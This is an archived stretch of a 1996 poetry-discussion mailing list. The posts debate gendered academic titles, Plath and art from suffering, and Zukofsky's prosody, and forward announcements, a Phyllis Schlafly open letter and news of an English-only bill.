> /For mastery!(gendered term) read, when appropriate,
> mistressly! as in M.A.= Mistress
> of Arts. I'm surprised this has not yet been done.

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628. **maria damon**
Re: roughness
Mon 22 Jul 1996

In message <[redacted]> UB Poetics discussion group
writes:
> Thanks, Emily, for the Spinster of Arts note. It's interesting that
> someone has thought to do something about this. The majority of my
> students are women and it has seemed strange to persist with
> mastery and masters degrees. Is mastery or mistressery of texts and
> or of images as dubious from the point of view of sado-masochism as
> mastery and mistressery in relations between persons? best
>
> Tony Green,
> e-mail: [redacted]

i guess textual mistery is too old-fashioned, too evocative of mistress vendler and other dominatrixes ...?
md

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629. Gabrielle Welford
Re: feelingth, nothing more than feelingth... try to forget
Mon 22 Jul 1996

I'm going to risk talking again about the experience thing, in response to Jonathan, because perhaps what's important about Plath's move in associating her childhood (and others' childhoods) with existence in a concentration camp is not that it belittles the experience of concentration camp victims but that it raises the question (which I think very pertinent) of the experience of small children in bad news families. I want to say, "who are we to know what Plath's childhood felt like to her?" I cringe at the fingerpointing that says, oh she was just a dramatic female who was making use of historical horrors to aggrandize herself. I guess what it boils down to is that both myself and my sister have experienced our own childhoods in such a way that what we've read, seen, heard about concentration camps rings bells for us. I don't doubt that she chose an image that made sense to her. We underrate the terror of children all the time.

Also growing up in suburbia is no guarantee, believe me, of things being "nice." Just hidden.

gab.

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630. Eliza McGrand- CVA Guest
on the interpretation of posts, or, Good Reasons To Lurk
Mon 22 Jul 1996

---

although i've posted some, i have been ambivalent from the start about posting on this list because so often the posts seem contentious and confrontational to a fault. but even more distressing, so often posts seem almost willfully misunderstood.

this brings me to the post in response to postings on victim art. i am not sure if the reply post was directed to me and my original post (jeez, a post on a post on a post. a goddess will strike me dead for this), but some of the posts seem to be depressingly off the mark in interpretation of what i said, meant, asked, hoped to bring into discussion -- i don't have quote feature used frequently so here is cut and paste (best i can do) of chax's particularly depressingly astray interpretation (if indeed he was referring to my posting):

" I originally was somewhat dismayed at this thread, in that it seemed to want to posit stereotypes of sufferers who make art out of their suffering, and on the other hand of artists who feel like they are supposedto suffer in some specifically destructive ways. That seemed to me to deny the specific nature of anyone who makes art out of any circumstance, also seemed to want to lump all victims together, and I found that rather insulting to large numbers of people who are really all different, despite some shared social circumstances."

i am not sure what you find problematic about positing a stereotype, if by "posit" you mean affirm the existence of. more to the point, i didn't "want to posit," i was bringing forth real actual meat people examples of a disturbing sterotype that is taking hold of the popular imagination, as stereotypes all too often do. the people embodying stereotype exist, the effect of the stereotype, the effect of the perceived stereotype, the effect of the perceived necessity for this stereotype (recognized and unrecognized as such), etc. all exist. why would the existence of this stereotype, as well as the recognition of the existence of this stereotype, the damage such stereotypes do, the perception of such stereotypes, "deny the specific nature of anyone who makes art out of any circumstance"? one of the specific circumstances people make art out of IS stereotypes as well as responses to stereotypes, responses to responses, etc.

if you recall, i made very careful note of both the stereotype as a stereotype, and as a problematic to art and suffering and the relationship between the two. in other words, i was speaking of the ACTUAL, REAL, MEAT PERSON existence of actual real suffering people who make art and often, make it out of suffering. in fact, as this comment seems to pass right over...

**** i am one of those "people" who found themselves making art from personal suffering!******

how could that POSSIBLY "deny the specific nature of anyone who makes art out of any circumstance," much less "lump all the victims together" in an insulting way -- am i insulting myself? if i, as one of the "large numbers of people" (talk about lumping!) say i'm not feeling insulted by my comments about myself, can we then assume they weren't offensive to me and the others assumed as a lumpen mass to be rising up, insulted, or anyway being so described by one who has not placed himself in that group but rather, stands outside of it telling us all how we all feel? i mean, can i decide for myself what i feel is insulting to me, or do i have to wait for a proper literary male to tell me when i and others of my sort have been insulted?

nowhere in any of the posts did i say all the people who have suffered, or people who have "shared that social circumstance," are alike except insofar as we HAVE had an experience of suffering and have had it intertwine with our art. nowhere.

for heaven's sake, i made this posting, and was very CLEAR about making this posting BECAUSE as an artist, i am trying to sort out the way suffering and art interact (an issue concerning me a great deal right now) and i wanted to get other lister's particular experiences with that interaction. and as an editor and fellow artist and reader, i've seen the two interact to the detriment of the art all too often lately and i wanted to find out other lister's specific experiences with that. i've also felt pressure (almost crippling at times) to assess and affirm the artistic quality of a peice when, IF i evaluate as an art peice, i will be under fire for evaluating it as an art peice rather than just blindly affirming it because of the victimhood of the creator. and guess what -- i wanted to get other listers' particular experiences with that.

since i make all sorts of distinctions, explain the unresolved nature of my thinking on the matter, describe the tangles i perceive, and ask the list to work on untangling or further tangling or just think about the relationship of suffering and art, and i give my personal experience, as well as experience i've had with others, i hardly think i ought be accused of either wanting to "deny the specific nature of anyone who makes art out of any circumstance," or of wanting "to lump all victims together" -- if indeed chax's comments were directed to me.

of course i may be misreading chax (and possibly dodie), who may not have had me in mind in the least in their posts, thus meaning i am committing the very act that has my knickers in a twist here! (...who has that saying about becoming the thing we hate...?) and if so i am contrite and sorry.

but SHEESHSSHSHH, i made that posting to see how other artists and academics and literati handle the art that comes from suffering in the current storm of me-too victim writing. and NO i am NOT saying all art about victimization is me-too victim writing, i'm saying that there are a number of people out there touting works they claim are art about their claimed victimhood, requesting funding, support and publication for the works in high art venues with the claim that the works deserve such support BECAUSE they are high art, but when the "art" of the work is called into question, the victimhood gets invoked as the reason why the work is art and why the work should not be criticized.

i've said, and am still saying, that there is GREAT GREAT art about suffering. and work about suffering doesn't have to be really great art to be worth writing, or reading, certainly in many contexts. but work about suffering which claims to be great art and claims it is off limits to normal literary processes and critiques because of the suffering of the writer, well, i have a problem with that. and in part, i have a problem because as a writer who has and is writing about suffering, i am deathly afraid of falling into that hole and struggle with what i feel, sometimes, is a slide down the slope while at the same time feeling like it is important to be a witness when we've been called to witness something. i'm

saying i don't know what to do, or how to sort out conflicting ideas i have about it and i was asking for more ideas, probably equally conflicting, because i'm a passive-aggressive subconscious masochist and did not feel i was suffering enough with o'hara-ian "quandriness," and i wanted others to suffer WITH me! 'nuff said?!

e

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631. **Thomas Bell**

Re: feelingth, nothing more than feelingth... try to forget

Tue 23 Jul 1996

> tom bell writes:
> effective therapy has
> > never had any connection to personal revalation.
>
> tom: can u say more abt this?
>
> md
>
It's much like content vs. form. It's not what the trauma was, for example, but how it was (is) dealt with. The art of therapy is inchanging the way something is revealed (maladaptively to cratively, for example, or intellectually to emotionally) to resolve a problem. _What is revealed really doesn't mean a whole lot. _Effective_ treatment is a process that doesn't get stuck in the endless rut of pity. I can sned some references if you like.
tom

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632. **Craig Douglas Dworkin**

Re: POETICS Digest - 21 Jul 1996 to 22 Jul 1996

Tue 23 Jul 1996

Greetings,

I'm sorry to make my first posting to this group a tedious technical question, but I've been working through Zukofsky's "A-8" and unlike the conic sections of "A-9," I can't quite figure out how the "r" and "n" sounds are deployed in the two relevant sections. I've read Ahearn and Quartermain, but neither go into specifics and my calculus is pretty rusty; has anyone actually worked out the math? In the final "Ballade," apparently, "the ratio of the accelerations of two

sounds (r, n) is equal to the ratio of the accelerations of the co-ordinates (x, y) of a particle moving in a circular path for nine symmetrically located points on the path." I get the general idea ("revolution," "movement," "value," "mass" in both political and mathematic/kinetic terms), but what is really going on mathematically?

Many thanks,
--Craig

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633. **George Bowering**
Re: Bad news
Tue 23 Jul 1996

How about a Silvia Plath festival organized by an organization dedicated to saving energy by switching to natural gas?

.....
"An occasional crow makes poetry more interesting but not prophetic."
--Carl Rakosi

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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634. **George Bowering**
Re: A plea for Ginny
Tue 23 Jul 1996

Kevin

Thank you so much for the quotations from the Midwest interview with Adam Ginsbert.

.....
"An occasional crow makes poetry more interesting but not prophetic."
--Carl Rakosi

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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635. **John Geraets**
Re: roughness
Tue 23 Jul 1996

I think that having been in Japan a while the notions of mastery, intention, roughness have lost some of their specificity for me.

The best book I've read this year was on the faces of
three of my students. They told me they'd put on a "face
poem" presentation, that's all I knew. Their friend'd brought
a video camera to record it; another got up and turned on
the tape of the Swedish (I think) electrobeat group so
popular now amongst young Japanese. The three young women
marched in--yes, marched--they had put on white t-shirts beforehand
over their regular clothes, their faces had been decorated with
make up and some script I couldn't make out as yet. They
marched in, lined themselves behind the front table, then
one at a time half-shouted half-sung

E N J O Y Y O U R N O W.

Then, of course, they laughed, I laughed, we all did. It was a great seven or eight seconds. Later, when we talked about it as a class--you'll understand, in the difficult English medium we share--they showed how they'd written on the cheeks of each in turn enjoy-your-now in mascara (eh??sp?); also, the first had written the kanji character for enjoy on her chin; the second nothing; the third in katakana (a further Japanese syllabry (?) used for introduced foreign words) now.

A few things got me. I enjoyed their sense of innovation, the fact that they'd capitalized on (inadvertent no doubt) such a classical english poetry theme, the tacticity, the unexpected slight twist of the expected conventional syntax, the joy (so different from my and my culture's sense of it, I think)...

Another group wanted to write a love poem, but found the going tough. So they culled odd lines and snippets from Shakespeare, Keats, and others gleaned from a collection of classical english poetry that they'd found in the library (and boy! are Japanese university libraries under-utilized!). Now that had a beautiful roughness, and all the charm of our confabulation with found objects, poems, whatever. Not quite satisfied, they built the poem into a brief dramatic script based on a Costner film 'Revenge' (as I recall). I mean...

Another group presented a story about a baby that a Sumo wrestler discovered one day in his clothes drawer and who as she grew up had her dream of becoming a supermodel in Italy almost thwarted because she was overfed on chunko...

Watching and being with my 4th-year English majors "creative writing" (eh?) class has been very interesting, not only because we're really having fun but also because for me at least it's opening up such notions as intentionality, mastery, roughness to their own limitedness. And limitedness in a positive sense, valuable in itself but also valuable in its denial.

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636. Lisa Jarnot
new books/soho letter press
Wed 24 Jul 1996

Howdy you all,

Soho Letter Press has put out four new chapbooks under the Situations banner:

Situations #1: Lapsus Linguae by Marcella Durand, 16pp, $5. Durand's Lapsus Linguae is about how one of the cats is afraid of the stuffed rabbit. Lyrics in series that cross. Teeth in the mystery of public places & tonguing is ok. "This office & all the computers in it are God."

Situations #2: Thunk by Kevin Davies, 16pp, $3. Davies' Thunk is a mutating passage of prose blocks and short lyrics that move in and out of hilarious and nasty exhortation to revolve. "Quit naming the animals." You may not wear a mask but you may get ripped on Cary's secret stash.

Situations # 3: Western Love by Bill Luoma, 44pp, $5. Luoma's Western Love is a series of short lyrics spoken by cowboys, jack rabbits, and saloon girls. Images by Charles Buckley. "I want to crouch around your merry mack."

Situations #4: Sea Lyrics by Lisa Jarnot, 40pp, $5.
Jarnot's Sea Lyrics are set as a series of prose poems about Jack London Square, Alameda, and buying jam in the early morning. I am is the refrain.

They smart. As much music as you can handle. "I am a drag queen named Heather not quite ready for New York."

The Situations chapbook series is published by Joe Elliot. So make Checks out to Joe Elliot.

Send Orders to:
Soho Letter Press
71 Green Street
NYC 10012

phone: [redacted]
fax: [redacted]

↑ Index

637. **Thomas Bell**
Re: comparative suffering
Wed 24 Jul 1996

"trauma" was defined by psychiatrists as "an event that is outside the range of usual human experience and that would be markedly distressing to almost anyone..."

I use this almost daily on insurance forms, etc. and still
puzzle over its meaning.
tom

↑ Index

638. **Carnography**
Re: feelingth/holocaust
Wed 24 Jul 1996

> *I guess you guys get an A.*
>
> *Dodie*

What, are you nuts, darling? You get an A in this course:
All of us get A's for effort and C's for self-restraint.
Is there truly a person on this list who can read his/her
own posts without sighing and thinking "why did I say that?"

Tapping his ruler on the edge of the desk with such precision
that the rhythm of his report spells the word *mastery*
in morse code,

Rob Hardin

"We must take care to control our passions. Otherwise, madness and violence are the result."--John Wesley Hardin, distant relation

http://www.interport.net/~scrypt

↑ Index

639. Gabrielle Welford
Re: comparative suffering
Wed 24 Jul 1996

being examined... hello to those other experiencers of hell on the list--my examiners. :-) gab.

↑ Index

640. Robert Drake
seattle in sept. (forwarded message)
Thu 25 Jul 1996

---------- Forwarded message ----------
Date: Wed, 24 Jul 1996 20:02:59 -0600
From: Frank Moore <[redacted]>
To: "J.A. Heriot" <[redacted]>
Cc: [redacted]
Subject: seattle in sept.

PRESS RELEASE

They have called him "art outlaw" (CHICAGO NEW READER), "obscene artist" (Sen. Jesse Helms], "transformative" (HIGH PERFORMANCE MAGAZINE). He has made a reputation for himself as a controversial performance artist and video maker. But it has been his poems, books, and essays about art, magic, and life...and his zine THE CHEROTIC (r)EVOLUTIONARY... which have inspired young radical artists and writers all over the world during the last 30 years and have made him the voice for many different alternative communities and forces of cultural change.

He is Frank Moore and he is coming to Seattle.

911 MEDIA ARTS will show his award-winning, intensely moving video Out of Isolation...a unique love story, on SATURDAY, SEPTEMBER 21, 1996 at 8 p.m. Mr. Moore will be available after the screening for questions.

911 MEDIA ARTS is located at:
117 Yale Avenue North, Seattle
[redacted]

(Out of Isolation) "stayed in my mind far more persistently than I first expected, at least based on what the film-makers with millions of dollars at their disposal call 'production values' and 'professional polish'. What most of these high-priced pieces lack, of course, is substance and a genuinely different -- and deeply challenging -- point of view. Something to shake up, shatter, shame, inspire, perspire, ponder and play with long after the cassette gets rewound. Your

films did that for me: they are definitely not easy to absorb, follow, or even 'enjoy' in the ordinary pop-culture sense. But you don't forget watching them, ever." Scott Lankford, Foothill College.

Then on SUNDAY, SEPTEMBER 22, 1996 at 8 p.m. Moore will appear at PISTIL BOOKS & NEWS doing a free poetry reading, EROTIC REALITIES.

PISTIL BOOKS & NEWS is located at:
1013 E. Pike, Seattle
[redacted]

"If a zine could be a performance art piece, Cherotic is it. What a wild, crazy smorgasbord of mind-blowing sensory assault. And it's all tied together through the "shamanistic," erotic, electrified art of Frank Moore. In the future, when we look back at the 90s, wondering where the freaky culture came from, Cherotic and Moore will be a couple of its heros." Sticky Green, The Sinner's Bible

"Since 1980, Frank Moore has been creating and carving a niche of his own within a creative artistic and literary community at one time traditionally reserved for others. His journey of self-identification & self-discovery as unique statements are documented not only in his fine collection of revolutionary, subversive, anarchical, magical videos, books and 'zines but now he (and Linda Mac) have been very busy again, producing and marketing The Cherotic Revolutionary, "a 'zine (according to Frank) about 'The Edge' for and by people on The Edge...if not over The Edge." EIDOS magazine

--
In Freedom, Frank
http://users.lanminds.com/~fmoore

-------- End forwarded message --------

↑ Index

641. Carnography
Susan Walsh reported missing, 7/16/96
Thu 25 Jul 1996

---

§§§

Jersey, and was wearing a black, one-piece tank-top dress and black sandals. If you have any information about Walsh's whereabouts, please call [redacted].

§§§

100%.Prairie Lights Books in Iowa City, Iowa, had a ?substantial increase? in poetry sales, and they increased by ?at least 600%? for the UCLA Bookstore in Los Angeles, with $3500 in poetry sales in the first week of April alone.The academy report notes that the enthusiasm generated during the first National Poetry Month will get a boost when plans get under way for the second NPM in April ?97.

↑ Index

643. Gabrielle Welford

Schlafly letter (fwd)

Thu 25 Jul 1996

There's an address where Schlafly can be reached at the bottom. gab.

---------- Forwarded message ----------
Date: 7/24/96 2:29 PM
From: Tim Stroshane
Forwarded mail received from:
CENTER1:CENTER2:TCPBRIDGE:CI:SMTPGATE:"[redacted]"

Here's something forwarded twice from a feminist economists' list to the progressive economists' list. It's quite an exhortation from the greatest of them all...

How can this woman sleep at night? Read on at your own peril, and not on a full stumach. 'sister rat' maggie coleman [redacted]

Forwarded message:
From: [redacted] (Eric W Swank)
To: [redacted] (Multiple recipients of list)
Date: 96-07-23 13:27:56 EDT

Listers,

Check this out. Also, Schlafly can be reached at the Eagle Forum's email address is at the bottom of this posting.

Eric Swank
Ohio State

Forwarded message:
> From [redacted] Mon Jul 22 19:52:40 1996
> Message-ID: <[redacted]>
> Date: Mon, 22 Jul 1996 14:07:32 -0400
> Reply-To: "Women's Studies List" <[redacted]>
> Sender: "Women's Studies List" <[redacted]>

> From: Jenny Thigpen <[redacted]>
> Subject: schlafly letter
> To: Multiple recipients of list WMST-L <[redacted]>
>
>
>
> Open Letter to VMI Alumni
>
>
>
> June 11, 1996 by Phyllis Schlafly
>
> This is an open letter to Virginia Military Institute Alumni.
>
> Dear Alumni:
>
> Your VMI training not only taught you to be tough, courageous
> and honorable, but also to survive humiliation and harassment. You
> are now facing your greatest challenge.
>
> You've lost a major battle. Are you going to be survivors, or
> are you going to let the enemy wipe you and your kind from the face
> of the earth, pour salt in the soil that produced you, and drop you
> down the Memory Hole?
>
> The most important factor in any confrontation is the ancient
> maxim "Know your enemy." I'm not sure you ever understood the
> nature of your enemy.
>
> The massive government lawsuit against VMI wasn't about "ending
> sex discrimination" or "allowing women to have access to the same
> educational benefits that men have at VMI." It was a no-holds-barred
> fight to feminize VMI waged by the radical feminists and their
> cohorts in the Federal Government.
>
> The radical feminists just can't stand it that any institution
> in America is permitted to motivate and train real men to manifest
> the uniquely masculine attributes. Feminists want to gender-
> neutralize all men so they can intimidate and control them. The
> feminists' longtime, self-proclaimed goal is an androgynous society.
> Repudiating constitutional intent, history, tradition and human
> nature, they seek to forbid us, in public or private life, to

> recognize the differences between men and women.
>
> Feminist strategy is straightforward: whine that women are
> victims of centuries of "oppression" and "stereotyping," lay a
> guilt trip on men, and use all the stereotypical cultural techniques
> that women have always used to wheedle what they want out of men.
> Then, use feminists on the public payroll in all three branches of
> government to change the laws in order to force us to conform.
>
> Since feminists successfully got women admitted into the
> military academies, and got the Clinton Administration to assign
> women to military combat positions, VMI and the Citadel remained as
> the most visible fortresses of the concept that men and women are
> fundamentally different. The feminists hate you just because you
> exist.
>
> The notion that a military institution that has functioned with
> success, public acceptance, and significant prestige for 157 years,
> suddenly, one day in June 1996, can be rationally said to violate the
> Constitution is patently ridiculous. Black robes and Ruth Bader
> Ginsburg's devious rhetoric about "scrutiny" can't make such judicial
> arrogance any less ridiculous.
>
> The idea of setting up a VMI course for women at Mary Baldwin
> College to save VMI from an adverse decision was a futile gesture,
> and Ginsburg held this expensive effort up to ridicule as "invented
> post hoc in response to litigation." You need to understand that
> the lawsuit against VMI had nothing to do with securing opportunities
> or benefits for women; it only had to do with destroying the
> masculine integrity of VMI.
>
> Ginsburg's opinion asserted that "women's successful entry into
> the federal military academies" proves that women can successfully
> matriculate at VMI. That assumption is false because VMI's regimen
> is very different from the military academies'. The VMI trial record
> proved that women's so-called "successful" experience in the federal
> military academies is based on quotas, dual standards, and gender
> norming. Female cadets compete against other female cadets for
> designated female slots, rather than competing against the men.
>
> The VMI decision was wholly predictable when Clinton appointed
> Ruth Bader Ginsburg to the Court. Her activist determination to

> write her radical feminist goals into the Constitution was all
> laid out in her published writings, but no Senator questioned her
> about them. Every Senator who voted for her confirmation shares in
> the shame of this decision.
>
> VMI Alumni, your response to this Supreme Court defeat should
> be to reject the state subsidy and embark on a national fundraising
> drive to raise the money to keep VMI functioning exactly as it always
> has. If the still-existing single-sex colleges, such as Wellesley and
> Smith, can survive on private fundraising plus government student
> loans, and if Hillsdale College can survive without any government
> funds at all, there's no reason why VMI and the Citadel can't do
> this, too.
>
> Don't make the mistake of changing VMI's unique lifestyle to
> try to accommodate Sister Rats. The women who seek a military career
> based on dual standards and gender norming can go to West Point,
> Annapolis, or the Air Force Academy.
>
> VMI Alumni, if you allow Ginsburg et all to do to VMI what Pat
> Schroeder et all have done to the United States Navy, you are not
> the exemplars of manhood we thought you were. And that goes for
> Citadel alumni, too.
>
>
> EAGLE FORUM -- [redacted]
> PO Box 618
> Alton, IL 62002
> Phone: [redacted]
> ---
> Tell a friend about us!
>
> http://www.eagleforum.org
>

NOTICE FOR JOURNALISTS AND RESEARCHERS: Please ask for written permission
from all direct participants before quoting any material posted on FEMECON-L.

---------- RFC822 Header Follows ----------
by
nak.berkeley.edu (8.7.3/8.6.10) with SMTP id OAA11430 for
<[redacted]>; Wed, 24 Jul 1996 14:26:41 -0700 (PDT)
From: Tim Stroshane
<[redacted]>
(WordPerfect SMTP Gateway V3.1a 04/27/92)
MMDF-Warning: Parse error in original version of preceding line at
ci.ci.berkeley.ca.us
To: [redacted]
MMDF-Warning: Parse error in original version of preceding line at
ci.ci.berkeley.ca.us
Subject: Fwd: Schlafly letter
Date: Tue Jul 23 16:39:54 1996

↑ Index

644. **Gabrielle Welford**

English-only Update -- VI (fwd)

Thu 25 Jul 1996

Yuk. All call. gab.

---------- Forwarded message ----------
> Update on English-Only Legislation -- VI
>
> July 25, 1996
>
>A modified English-only bill, approved yesterday by the House
>Economic and Educational Opportunities Committee, appears to be
>on a legislative fast track. After months of inaction, H.R. 123
>(the "Language of Government Act") is suddenly a priority for
>House Republican leaders. The measure is expected to come to a
>vote late next week, before Congress leaves for its August
>recess. With nearly 200 cosponsors and a clear display of
>party discipline in committee, the English-only bill seems
>likely to pass in the House, although Senate support remains
>uncertain.
>
>If enacted, H.R. 123 would designate English as the official --
>and sole permissible -- language of U.S. government business,
>with only a few exceptions. The use of other languages would be
>permitted for purposes of national security, international trade
>and diplomacy, public safety, and criminal proceedings.

>
>To mollify critics of the bill's restrictiveness, Rep. Randy
>Cunningham (R-Calif.) proposed an amended version of H.R. 123
>that would also waive the English-only mandate in the case of
>language education -- including programs funded under the
>Bilingual Education Act and the Native American Languages Act --
>public health, census activities, and civil lawsuits brought by
>the U.S. government. It would also exempt oral communications
>with the public by federal employees, officials, and members of
>Congress. Federal publications -- that is, virtually all written
>materials -- in languages other than English would still be
>banned. The House committee passed the Cunningham "substitute"
>on a vote of 19 Republicans in favor and 17 Democrats against.
>
>The committee's day-long session was remarkable for its rancor
>and partisanship, even by the standards of the 104th Congress.
>Democrats accused the Republican majority of desperately seeking
>to exploit anti-immigrant feeling in an election year, even if
>that meant violating constitutional principles of free speech
>and equal rights. "What about people who think in another
>language?" asked ranking Democrat Bill Clay (Mo.). "Would your
>bill prohibit that?" Republicans labeled such attacks as
>"demagogy," insisting they merely want to unite the country
>through a common language and help newcomers learn English.
>
>Rep. Matthew Martinez (D-Calif.) argued that the bill would
>deprive limited English speakers of essential rights and
>services while doing nothing to address the acute shortage of
>adult English classes in cities like New York and Los Angeles.
>(In the past two years, Congressional budget cutters have
>substantially reduced federal support for such classes.) "The
>idea that people who come to this country don't want to speak
>English is the sickest thing I've ever heard," Martinez said,
>accusing the bill's proponents of "promoting fear" of language
>minorities. "I'm sorry that people on the other side of the
>aisle are so insecure that they feel they need to do this," he
>said.
>
>Cunningham responded to Martinez: "You want to keep people in
>the barrio" by discouraging them from learning English. "We want
>to empower them." Rep. Cass Ballenger (R-N.C.) added that "the
>purpose of this bill isn't just to make people speak English;

>it's to help them reach the American dream." As a small business
>owner, Ballenger said he had personally sponsored language
>classes for his foreign-born employees. "My Vietnamese are the
>best workers in the world because they can speak English," he
>said.
>
>Citing the majority's refusal to discuss constitutional
>objections or to justify any need for the legislation, Rep. Pat
>Williams (D-Mont.) called the session "the most maddening debate
>I've sat through in my 18 years in Congress." Rep. Chaka Fattah
>(D-Pa.) observed that even though everyone was speaking English,
>there was little communication taking place between the two
>sides.
>
>Throughout the day the partisan split was consistent in votes on
>several proposed amendments, with not a single defection from
>either the Democratic or Republican side.
>
>The committee rejected an amendment by Del. Carlos Romero-
>Barcelo (D-P.R.) that would have allowed federal agencies to
>communicate in other languages to promote government efficiency.
>Rep. Jan Meyers (R-Kans.) argued that such an exemption would
>"totally gut the bill. What we're saying is that agencies must
>communicate in English. ... If I was in China, I wouldn't expect
>their government to print everything in my language."
>
>The lawmakers then approved a proposal by Rep. Lindsey Graham
>(R-S.C.) to extend English-only restrictions to all
>"publications, informational materials, income-tax forms, and
>the contents of franked [i.e., Congressional and other U.S.
>government] mail." Under questioning, Graham conceded that his
>amendment would forbid virtually any written communication by a
>federal agency in another language, including the tourist-
>oriented pamphlets of the National Park Service. Graham
>insisted, however, that "common sense" would eliminate any need
>to remove the slogan "E Pluribus Unum" from U.S. currency and
>coins.
>
>Rep. Patsy Mink (D-Hi.) offered an amendment to keep the bill
>from infringing the freedom of speech, due process, and equal
>protection of the law. But Republicans objected to including
>what Graham called a "laundry list" of constitutional rights.

>Instead, they inserted an assurance that H.R. 123 was not
>intended to conflict with the U.S. Constitution.
>
>Finally, the committee rejected an English Plus substitute
>proposed by Rep. Xavier Becerra (D-Calif.). It would have
>removed the bill's restrictive features and advocated a policy
>of encouraging the acquisition of English, plus other languages,
>to promote international competitiveness and preserve cultural
>resources. Before voting against the Becerra amendment,
>Cunningham conceded that "we're fools if we don't learn other
>languages in this country." But he insisted that language
>restrictions are necessary because of "a propensity for more and
>more Americans not to speak English" -- citing anecdotal
>evidence from his own Congressional district in south San Diego.
>
>Until this week, H.R. 123 had appeared to be going nowhere. Its
>chief sponsor, Rep. Bill Emerson (R-Mo.), recently died after a
>long bout with cancer. House Speaker Newt Gingrich, a longtime
>backer of English-only legislation, apparently decided the
>measure could boost Republicans' prospects in the 1996 election.
>As recently as May, Committee chairman Bill Goodling (R-Pa.) had
>assured the Joint National Committee for Languages that he
>would block the bill from reaching the House floor. But Goodling
>did an unexplained about-face yesterday, along with Rep. Steve
>Gunderson (R-Wisc.) and other members of the majority side who
>had expressed reservations about H.R. 123 during committee
>hearings.
>
>In the Senate, Republicans have postponed three scheduled votes
>on a companion measure, S. 356, where support is weaker than on
>the House side of the Capitol. Meanwhile, the Justice and
>Education departments have spoken out in opposition. But
>President Clinton, who once signed a similar measure as governor
>of Arkansas, has yet to commit himself publicly on federal
>English-only legislation.
>
>
>Jim Crawford
>[redacted]
>** Feel free to forward electronically or recirculate in print**
>
>

↑ Index

645. Aldon L. Nielsen
Re: indigestible?
Fri 26 Jul 1996

Last night's digest proved to be a repeat of the previous day --

Did non-digest recipients get anything yesterday?

Who will translate for Bob Dornan if the English only bill passes?

Tried to go to the Beatnik Bookstore in Boulder last week -- the proprietor didn't show up! seemed appropriate --

↑ Index

646. Pierre Joris
EMF GENERAL ALERT (fwd)
Fri 26 Jul 1996

Thot this message wld be of interest to a number of people on the list -- the Electronic Music Foundation is a great site & well worth checking out & supporting -- Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

---------- Forwarded message ----------
Date: Thu, 18 Jul 1996 11:59:46 -0500
From: Electronic Music Foundation <[redacted]>
To: [redacted]
Subject: EMF GENERAL ALERT

EMF GENERAL ALERT
========== July 18, 1996

In brief, Electronic Music Foundation has just uploaded a completely new Web site, packed with interesting information and leads to magnificent music and related materials. The URL is

http://www.emf.org

This email message is being sent to you either because you've already asked to be on our list or because someone passed on your address in the belief that you'll be interested in what we have to say. If you would rather not receive future messages from us, simply let us know. If you've received this message from a friend and you'd like to hear from us directly, just tell us so in no uncertain terms.

Contents:

1. CDeMUSIC becomes a Magellan 3-star site!
2. An overview of our new Web site
3. An invitation to participate

==========
1. CDeMUSIC becomes a Magellan 3-star site!

We're very pleased to announce that Magellan has awarded our CDeMUSIC site a three-star status. Their review mentioned elegant design and the performance of an important function in making noncommercial CDs available.

http://magellan.mckinley.com/review.cgi?sid=63596

==========
2. An overview of our new Web site

It's not only a new site, it's a whole new ballgame. Our goal, remember, is to provide access to materials and dissemination of information regarding the history and current practice of electronic music. Well, here's some significant progress. For an overview, read a letter from the president.

http://www.emf.org/emf_letter.html

In the access to materials department, CDeMUSIC has reopened its doors in a big way and we're in process of a continuing extension of our CD catalogs. Our plans are to extend the scope of CDeMUSIC to include all forms of exceptional and experimental music, even if it doesn't use electronics.

http://www.emf.org/cde_frontdoor.html

Further, we've redefined the Inner Circle to offer people better guidance through the new music terrain.

http://www.emf.org/cde_circle.html

The EMF Store has begun operations with books by Barbara Golden, Iannis Xenakis, Reynold Weidenaar, and Trevor Wishart; a videotape on the theremin by Robert Moog; and M, the first interactive composing program, originally published by Intelligent Music. Not only books, videotapes, CD-ROMs, and other items that we think are important, we'll also offer historically important software.

http://www.emf.org/store_frontdoor.html

The Open Market continues to allow composers to present their work directly to the public.

http://www.emf.org/om_frontdoor.html

In the dissemination of information department, there's the EMF Worldwide Calendar where you'll soon be able to find the most interesting events in this most interesting of musical worlds.

http://www.emf.org/cal_frontdoor.html

Our guide to Web sites includes pointers to exceptional items (even if occasionally ephemeral) and ongoing important resources. And just in case you know what you're looking for, there's a real directory to the virtual world.

http://www.emf.org/sites_frontdoor.html

And if you prefer to look rather than listen, we've begun to put together a photo archive project. Our first group of photos is by Renee Moog. But more. Have a look also at Renee's photo group from Senegal, called "A Global Village." Navigate from the photo archives page.

http://www.emf.org/photo_frontdoor.html

==========

3. An invitation to participate

We invite you to send us calendar information, recommend web sites, and let us know if you have important photos. If you want to sell a CD or a tape or some other item, contact us.

And if you'd like to support our activities, we'd be grateful. We've extended the enrollment period for Charter Subscribers until September 15. But please don't wait. The current list of Charter Subscribers is distinguished not only by the excellence of the professional activity it represents but also by its generosity in helping us get started. We will recognize our Charter Subscribers forever.

http://www.emf.org/emf_csubs.html

We invite you to make a small investment, become a Charter Subscriber, and achieve virtual immortality.

==========

Electronic Music Foundation
116 North Lake Avenue
Albany NY 12206
USA

[redacted] Voice
[redacted] Fax

[redacted]
http://www.emf.org

##

==========
Electronic Music Foundation
116 N. Lake Ave.
Albany, NY 12206
USA

http://www.emf.org

[redacted] - voice
[redacted] - fax
[redacted] - email

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647. **Gwyn McVay**
Re: English-only Update -- VI (fwd)
Fri 26 Jul 1996

Gab, this may be typical of our Zeitgeist, but it betrays a really twisted Weltan-schauung and a complete lack of savoir-faire, not to mention joie de vivre. ? Como no?

Gwyn

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648. **maria damon**
Re: comparative suffering
Fri 26 Jul 1996

In message <[redacted]> UB Poetics
discussion group writes:
> being examined... hello to those other experiencers of hell on the
> list--my examiners. :-) gab.

good exam vibes coming your way...md

↑ Index

649. Pritchett,Pat
Re: indigestible?
Fri 26 Jul 1996

Dear Aldon,

Welcome to Boulder. Yes, the Beat Bookshop keeps, appropriately as you said, "odd hours." It's run by Tom Peters, who knows his books. Only last week I scored a first edition of Ronald Johnson's "Ark: The Foundation" (sic) on the cheap. Are you here for kicks, or is this a "career move?"

"Wake up new & strange
displaced,

